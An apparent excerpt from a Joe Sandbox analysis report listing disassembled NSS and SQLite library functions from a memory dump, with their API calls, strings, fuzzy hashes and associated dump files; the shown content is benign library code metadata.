API ID: ArenaUtil$Alloc_Mark_$ErrorValuememset
String ID:
API String ID: 1233137751-0
Opcode ID: 325ac72b9b7d10c8c132acf2c7cbfba131e118dcc36ff01bb9a70ca116f5921b
Instruction ID: 23d579537796794dcfba6a4a9538d00f9e29374d5624fd037a411429ebb0d869
Opcode Fuzzy Hash: 325ac72b9b7d10c8c132acf2c7cbfba131e118dcc36ff01bb9a70ca116f5921b
Instruction Fuzzy Hash: C93126F29013229BE7108F58AC40B5B76A8AF8A348F14023AED3997740FB71D915CBD1

Function 6C537D70 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 179COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C537E27
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C537E67
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,0001065F,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,00000003,?,?), ref: 6C537EED
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,0001066C,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C537F2E

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C537ED8, 6C537F08, 6C537F19
%s at line %d of [%.10s], xrefs: 6C537EE7, 6C537F28
database corruption, xrefs: 6C537EE2, 6C537F23

Memory Dump Source

Source File: 00000000.00000002.2155343794.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000000.00000002.2155320551.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155503884.000000006C6AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155600612.000000006C6EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155631643.000000006C6EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155660924.000000006C6F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155690255.000000006C6F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c510000_file.jbxd

Similarity

API ID: _byteswap_ulongsqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 912837312-598938438
Opcode ID: 59ccf5b3d5facb690b524f0a962d1f9151891a5a40c875614c4e08cd6a28bbd0
Instruction ID: 11163e9aacf5e4a6a0bedf2ad2e2ee75209b208e6119f30111307dc06fd84850
Opcode Fuzzy Hash: 59ccf5b3d5facb690b524f0a962d1f9151891a5a40c875614c4e08cd6a28bbd0
Instruction Fuzzy Hash: 4C61C070B04215DFDB05CF29CD90BAA37A2BF89358F1458A9EC094BB91E730EC55CBA5

Function 6C51FCF0 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 155COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000124AC,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C51FD7A
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C51FD94
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000124BF,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C51FE3C
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C51FE83

Part of subcall function 6C51FEC0: memcmp.VCRUNTIME140(?,?,?,?,00000000,?), ref: 6C51FEFA
Part of subcall function 6C51FEC0: memcpy.VCRUNTIME140(?,?,?,?,?,?,?,00000000,?), ref: 6C51FF3B

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C51FD64, 6C51FE26
%s at line %d of [%.10s], xrefs: 6C51FD73, 6C51FE35
database corruption, xrefs: 6C51FD6E, 6C51FE30

Memory Dump Source

Source File: 00000000.00000002.2155343794.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000000.00000002.2155320551.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155503884.000000006C6AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155600612.000000006C6EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155631643.000000006C6EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155660924.000000006C6F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155690255.000000006C6F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c510000_file.jbxd

Similarity

API ID: _byteswap_ulongsqlite3_log$memcmpmemcpy
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 1169254434-598938438
Opcode ID: 718bb60a47ab1fc05c1c23a31d4e456ab077553d2a90134f1502e1f60126ba52
Instruction ID: 2aeed8f8879e1c6b1735d972e9c06c7c11f1fcd98d39d603c5396fef1a59210e
Opcode Fuzzy Hash: 718bb60a47ab1fc05c1c23a31d4e456ab077553d2a90134f1502e1f60126ba52
Instruction Fuzzy Hash: 62519F70A042058FEB04CFA9D8D4AAEB7B1FF48308F144669E905ABB52E731EC50CB95

Function 6C662F70 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 123stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C662FFD
sqlite3_initialize.NSS3 ref: 6C663007
memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6C663032
sqlite3_mprintf.NSS3(6C6CAAF9,?), ref: 6C663073
sqlite3_free.NSS3(?), ref: 6C6630B3
sqlite3_mprintf.NSS3(sqlite3_get_table() called with two or more incompatible queries), ref: 6C6630C0

Strings

sqlite3_get_table() called with two or more incompatible queries, xrefs: 6C6630BB

Memory Dump Source

Source File: 00000000.00000002.2155343794.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000000.00000002.2155320551.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155503884.000000006C6AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155600612.000000006C6EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155631643.000000006C6EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155660924.000000006C6F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155690255.000000006C6F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c510000_file.jbxd

Similarity

API ID: sqlite3_mprintf$memcpysqlite3_freesqlite3_initializestrlen
String ID: sqlite3_get_table() called with two or more incompatible queries
API String ID: 750880481-4279182443
Opcode ID: f62f3d020656676a88d23202121ff08f7b032cb610757f38319604d41b5f5bfa
Instruction ID: cb19aeb6cc091925c644f35040988e3e0aa7fb497806724b807d638126e8e137
Opcode Fuzzy Hash: f62f3d020656676a88d23202121ff08f7b032cb610757f38319604d41b5f5bfa
Instruction Fuzzy Hash: 6141A271600606ABDB00CF26D844A8AB7E5FF84368F148638EC5987F41E731F999CBD6

Function 6C5E5ED0 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 80stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(q]^l), ref: 6C5E5F0A
TlsGetValue.KERNEL32 ref: 6C5E5F1F
EnterCriticalSection.KERNEL32(89000904), ref: 6C5E5F2F
PR_Unlock.NSS3(890008E8), ref: 6C5E5F55
PR_SetError.NSS3(00000000,00000000), ref: 6C5E5F6D
SECMOD_UpdateSlotList.NSS3(8B4274C0), ref: 6C5E5F7D

Part of subcall function 6C5E5220: TlsGetValue.KERNEL32(00000000,890008E8,?,6C5E5F82,8B4274C0), ref: 6C5E5248
Part of subcall function 6C5E5220: EnterCriticalSection.KERNEL32(0F6C6B0D,?,6C5E5F82,8B4274C0), ref: 6C5E525C
Part of subcall function 6C5E5220: PR_SetError.NSS3(00000000,00000000), ref: 6C5E528E
Part of subcall function 6C5E5220: PR_Unlock.NSS3(0F6C6AF1), ref: 6C5E5299
Part of subcall function 6C5E5220: free.MOZGLUE(00000000), ref: 6C5E52A9

Strings

q]^l, xrefs: 6C5E5EDB, 6C5E5F09

Memory Dump Source

Source File: 00000000.00000002.2155343794.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000000.00000002.2155320551.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155503884.000000006C6AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155600612.000000006C6EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155631643.000000006C6EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155660924.000000006C6F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155690255.000000006C6F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c510000_file.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue$ListSlotUpdatefreestrlen
String ID: q]^l
API String ID: 3150690610-4137679023
Opcode ID: cdc321f504cbb5c4b6ee7b661f09ec819959e057fe26ce247d513d31fe0e3c73
Instruction ID: 7a50b3f2fe69ad32c1a66b706131abafd6086908cdd34f6686458f5e6d18ff56
Opcode Fuzzy Hash: cdc321f504cbb5c4b6ee7b661f09ec819959e057fe26ce247d513d31fe0e3c73
Instruction Fuzzy Hash: 2A210AF5D002049FDB009F68DC416EFBBB4EF49318F540029E80AA7700EB31A954C7D5

Function 6C5A8CF0 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 76COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,00000000,?,6C5B124D,00000001), ref: 6C5A8D19
EnterCriticalSection.KERNEL32(?,?,?,?,6C5B124D,00000001), ref: 6C5A8D32
PL_ArenaRelease.NSS3(?,?,?,?,?,6C5B124D,00000001), ref: 6C5A8D73
PR_Unlock.NSS3(?,?,?,?,?,6C5B124D,00000001), ref: 6C5A8D8C

Part of subcall function 6C63DD70: TlsGetValue.KERNEL32 ref: 6C63DD8C
Part of subcall function 6C63DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C63DDB4

PR_Unlock.NSS3(?,?,?,?,?,6C5B124D,00000001), ref: 6C5A8DBA

Strings

KRAM, xrefs: 6C5A8CF9
KRAM, xrefs: 6C5A8D3E

Memory Dump Source

Source File: 00000000.00000002.2155343794.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000000.00000002.2155320551.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155503884.000000006C6AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155600612.000000006C6EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155631643.000000006C6EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155660924.000000006C6F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155690255.000000006C6F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c510000_file.jbxd

Similarity

API ID: CriticalSectionUnlockValue$ArenaEnterLeaveRelease
String ID: KRAM$KRAM
API String ID: 2419422920-169145855
Opcode ID: 3607304d5d9bd780ef6ab4dc9a6dca1237b781e0cc554649669c16f9bc713b0e
Instruction ID: 26b6764476b97476acc2591ddabbd4ff0d523dae27ecbf32508befbd988b9e72
Opcode Fuzzy Hash: 3607304d5d9bd780ef6ab4dc9a6dca1237b781e0cc554649669c16f9bc713b0e
Instruction Fuzzy Hash: E421A1B1A04651CFCB00EFBAC88455EBBF0FF45308F15896AD89987701EB30E852CB92

Function 6C6A0ED0 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 68COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(Assertion failure: %s, at %s:%d,00000000,00000001,?,00000001,00000000,00000000), ref: 6C6A0EE6
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,00000001,00000000,00000000), ref: 6C6A0EFA

Part of subcall function 6C58AEE0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000001,?,00000000,?,00000001,?,?,?,00000001,00000000,00000000), ref: 6C58AF0E

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6A0F16
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6A0F1C
DebugBreak.KERNEL32(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6A0F25
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6A0F2B

Strings

Aborting, xrefs: 6C6A0EB3
Assertion failure: %s, at %s:%d, xrefs: 6C6A0ED9, 6C6A0EE5, 6C6A0F06, 6C6A0F0B

Memory Dump Source

Source File: 00000000.00000002.2155343794.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000000.00000002.2155320551.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155503884.000000006C6AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155600612.000000006C6EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155631643.000000006C6EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155660924.000000006C6F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155690255.000000006C6F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c510000_file.jbxd

Similarity

API ID: __acrt_iob_func$BreakDebugPrint__stdio_common_vfprintfabortfflush
String ID: Aborting$Assertion failure: %s, at %s:%d
API String ID: 2948422844-1374795319
Opcode ID: 04d5aca5f3e4564f0568e7d8313cdc6e4b4d02f858b4708e5ddfed3d4158c65b
Instruction ID: 0c735919f74d1bf5e44f5a96157205efebd0f3ee400ae693e93b04124e995e73
Opcode Fuzzy Hash: 04d5aca5f3e4564f0568e7d8313cdc6e4b4d02f858b4708e5ddfed3d4158c65b
Instruction Fuzzy Hash: 9401C0B6900214BBDF01AFA5DC85C9B3F7CEF4A364F014425FD0A97701E632ED2186AA

Function 6C681C40 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 45COMMON

Download Yara Rule

APIs

sqlite3_mprintf.NSS3(non-deterministic use of %s() in %s,?,a CHECK constraint,w=Xl,?,?,6C584E1D), ref: 6C681C8A
sqlite3_free.NSS3(00000000), ref: 6C681CB6

Strings

a CHECK constraint, xrefs: 6C681C76, 6C681C81
an index, xrefs: 6C681C67
a generated column, xrefs: 6C681C6C
non-deterministic use of %s() in %s, xrefs: 6C681C85
w=Xl, xrefs: 6C681C44

Memory Dump Source

Source File: 00000000.00000002.2155343794.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000000.00000002.2155320551.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155503884.000000006C6AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155600612.000000006C6EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155631643.000000006C6EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155660924.000000006C6F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155690255.000000006C6F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c510000_file.jbxd

Similarity

API ID: sqlite3_freesqlite3_mprintf
String ID: a CHECK constraint$a generated column$an index$non-deterministic use of %s() in %s$w=Xl
API String ID: 1840970956-2580276289
Opcode ID: 0e4be23246587eec3a4ddc206c2779e7e4af9c082524f03b8785c028a61ce5af
Instruction ID: c82bb2fa5f0a12ca95707f9648d4a7d83fe0b57449593f490cc4045d9c8b5d8d
Opcode Fuzzy Hash: 0e4be23246587eec3a4ddc206c2779e7e4af9c082524f03b8785c028a61ce5af
Instruction Fuzzy Hash: 980124B1B001005BD710BF28D8429B277E6EFC634CB14486DE9498BB02EA22EC96C766

Function 6C664D80 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 36COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6C664DC3
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,00029CA4,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C664DE0

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C664DCB
API call with %s database connection pointer, xrefs: 6C664DBD
invalid, xrefs: 6C664DB8
%s at line %d of [%.10s], xrefs: 6C664DDA
misuse, xrefs: 6C664DD5

Memory Dump Source

Source File: 00000000.00000002.2155343794.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000000.00000002.2155320551.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155503884.000000006C6AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155600612.000000006C6EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155631643.000000006C6EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155660924.000000006C6F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155690255.000000006C6F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c510000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$API call with %s database connection pointer$invalid$misuse
API String ID: 632333372-2974027950
Opcode ID: 4e952c854a9c93b2c2003199f0173685966f8cae5e5ea85629d3679f8a853bd9
Instruction ID: c2002b19f291a61197d6825400713c72bb99ad3406f0f7cbf5fb00bc7154d3b9
Opcode Fuzzy Hash: 4e952c854a9c93b2c2003199f0173685966f8cae5e5ea85629d3679f8a853bd9
Instruction Fuzzy Hash: 41F0E921F149686BD7008116DD32FE637D98F05359F4609A1FE046BE92D646AC9086CF

Function 6C664DF0 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 35COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6C664E30
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,00029CAD,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C664E4D

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C664E38
API call with %s database connection pointer, xrefs: 6C664E2A
invalid, xrefs: 6C664E25
%s at line %d of [%.10s], xrefs: 6C664E47
misuse, xrefs: 6C664E42

Memory Dump Source

Source File: 00000000.00000002.2155343794.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000000.00000002.2155320551.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155503884.000000006C6AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155600612.000000006C6EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155631643.000000006C6EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155660924.000000006C6F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155690255.000000006C6F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c510000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$API call with %s database connection pointer$invalid$misuse
API String ID: 632333372-2974027950
Opcode ID: 31d0a982541326fe4398a30d82621a5abba2f39a15a3b6fa4a6ce24697a9a51d
Instruction ID: 973add99b7aad6b689507870cd02026fc3a640824ef03401802f1fb1e32b7871
Opcode Fuzzy Hash: 31d0a982541326fe4398a30d82621a5abba2f39a15a3b6fa4a6ce24697a9a51d
Instruction Fuzzy Hash: A7F02E21F449286BD6108216DC31FE737898B02359F4984A1EA0467F92D645986242DF

Function 6C599FB0 Relevance: 12.2, APIs: 8, Instructions: 198COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C59A086
EnterCriticalSection.KERNEL32(?), ref: 6C59A09B
PR_Unlock.NSS3(?), ref: 6C59A0B7
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C59A0E9
TlsGetValue.KERNEL32 ref: 6C59A11B
EnterCriticalSection.KERNEL32(?), ref: 6C59A12F
PR_Unlock.NSS3(?), ref: 6C59A148

Part of subcall function 6C5B1A40: PR_Now.NSS3(?,00000000,6C5928AD,00000000,?,6C5AF09A,00000000,6C5928AD,6C5993B0,?,6C5993B0,6C5928AD,00000000,?,00000000), ref: 6C5B1A65

Part of subcall function 6C5B1940: CERT_DestroyCertificate.NSS3(00000000,00000000,?,6C5B4126,?), ref: 6C5B1966

PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C59A1A3

Memory Dump Source

Source File: 00000000.00000002.2155343794.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000000.00000002.2155320551.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155503884.000000006C6AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155600612.000000006C6EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155631643.000000006C6EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155660924.000000006C6F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155690255.000000006C6F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c510000_file.jbxd

Similarity

API ID: Arena_CriticalEnterFreeSectionUnlockUtilValue$CertificateDestroy
String ID:
API String ID: 3953697463-0
Opcode ID: d0999e70abd21adfb81ebe813daa9fadfbd4629fc995c40186051b2ad7ee36af
Instruction ID: ef45c72576d6316f7661a47ad26bdce5b05445713bbf45ccb7e0f4f97a884f44
Opcode Fuzzy Hash: d0999e70abd21adfb81ebe813daa9fadfbd4629fc995c40186051b2ad7ee36af
Instruction Fuzzy Hash: BF51E6B1E003809BEB109F6ADC84AAB77B9AFC6308F154569DC2997701EB31E945C7A1

Function 6C5D0C90 Relevance: 12.2, APIs: 8, Instructions: 191memorythreadCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(00000000,00000000,6C5D1444,?,00000001,?,00000000,00000000,?,?,6C5D1444,?,?,00000000,?,?), ref: 6C5D0CB3

Part of subcall function 6C63C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C63C2BF

PR_SetError.NSS3(FFFFE089,00000000,?,?,?,?,6C5D1444,?,00000001,?,00000000,00000000,?,?,6C5D1444,?), ref: 6C5D0DC1
PORT_Strdup_Util.NSS3(?,?,?,?,?,?,6C5D1444,?,00000001,?,00000000,00000000,?,?,6C5D1444,?), ref: 6C5D0DEC

Part of subcall function 6C5F0F10: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000,?,?,6C592AF5,?,?,?,?,?,6C590A1B,00000000), ref: 6C5F0F1A
Part of subcall function 6C5F0F10: malloc.MOZGLUE(00000001), ref: 6C5F0F30
Part of subcall function 6C5F0F10: memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6C5F0F42

SECITEM_AllocItem_Util.NSS3(00000000,00000000,?,?,?,?,?,?,6C5D1444,?,00000001,?,00000000,00000000,?), ref: 6C5D0DFF
memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,?,?,6C5D1444,?,00000001,?,00000000), ref: 6C5D0E16
free.MOZGLUE(?,?,?,?,?,?,?,?,?,6C5D1444,?,00000001,?,00000000,00000000,?), ref: 6C5D0E53
PR_GetCurrentThread.NSS3(?,?,?,?,6C5D1444,?,00000001,?,00000000,00000000,?,?,6C5D1444,?,?,00000000), ref: 6C5D0E65
PR_SetError.NSS3(FFFFE089,00000000,?,?,?,?,6C5D1444,?,00000001,?,00000000,00000000,?), ref: 6C5D0E79

Part of subcall function 6C5E1560: TlsGetValue.KERNEL32(00000000,?,6C5B0844,?), ref: 6C5E157A
Part of subcall function 6C5E1560: EnterCriticalSection.KERNEL32(?,?,?,6C5B0844,?), ref: 6C5E158F
Part of subcall function 6C5E1560: PR_Unlock.NSS3(?,?,?,?,6C5B0844,?), ref: 6C5E15B2

Part of subcall function 6C5AB1A0: DeleteCriticalSection.KERNEL32(5B5F5EDC,6C5B1397,00000000,?,6C5ACF93,5B5F5EC0,00000000,?,6C5B1397,?), ref: 6C5AB1CB
Part of subcall function 6C5AB1A0: free.MOZGLUE(5B5F5EC0,?,6C5ACF93,5B5F5EC0,00000000,?,6C5B1397,?), ref: 6C5AB1D2

Part of subcall function 6C5A89E0: TlsGetValue.KERNEL32(00000000,-00000008,00000000,?,?,6C5A88AE,-00000008), ref: 6C5A8A04
Part of subcall function 6C5A89E0: EnterCriticalSection.KERNEL32(?), ref: 6C5A8A15
Part of subcall function 6C5A89E0: memset.VCRUNTIME140(6C5A88AE,00000000,00000132), ref: 6C5A8A27
Part of subcall function 6C5A89E0: PR_Unlock.NSS3(?), ref: 6C5A8A35

Memory Dump Source

Source File: 00000000.00000002.2155343794.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000000.00000002.2155320551.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155503884.000000006C6AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155600612.000000006C6EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155631643.000000006C6EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155660924.000000006C6F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155690255.000000006C6F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c510000_file.jbxd

Similarity

API ID: CriticalErrorSectionValue$EnterUnlockUtilfreememcpy$AllocCurrentDeleteItem_Strdup_Threadmallocmemsetstrlen
String ID:
API String ID: 1601681851-0
Opcode ID: 6595f21d48a49cb52c476726572b2dfabb86f612dca0f103de3a81197d585e92
Instruction ID: 50c9fa8219aa5ede6aa70234b52f5a03202f4710ff1a68317042a07fc2424c0c
Opcode Fuzzy Hash: 6595f21d48a49cb52c476726572b2dfabb86f612dca0f103de3a81197d585e92
Instruction Fuzzy Hash: 6B51B8B5D003119FEB00AF68DC85ABF37A8DF85218F550425EC09A7712FB31FD1586A6

Function 6C586E50 Relevance: 12.2, APIs: 8, Instructions: 189COMMON

Download Yara Rule

APIs

sqlite3_value_text.NSS3(?,?), ref: 6C586ED8
sqlite3_value_text.NSS3(?,?), ref: 6C586EE5
memcmp.VCRUNTIME140(00000000,?,?,?,?), ref: 6C586FA8
sqlite3_value_text.NSS3(00000000,?), ref: 6C586FDB
sqlite3_result_error_nomem.NSS3(?,?,?,?,?), ref: 6C586FF0
sqlite3_value_blob.NSS3(?,?), ref: 6C587010
sqlite3_value_blob.NSS3(?,?), ref: 6C58701D
sqlite3_value_text.NSS3(00000000,?,?,?), ref: 6C587052

Memory Dump Source

Source File: 00000000.00000002.2155343794.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000000.00000002.2155320551.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155503884.000000006C6AF000.00000002.00000001.01000000.00000009.sdmpDownload File
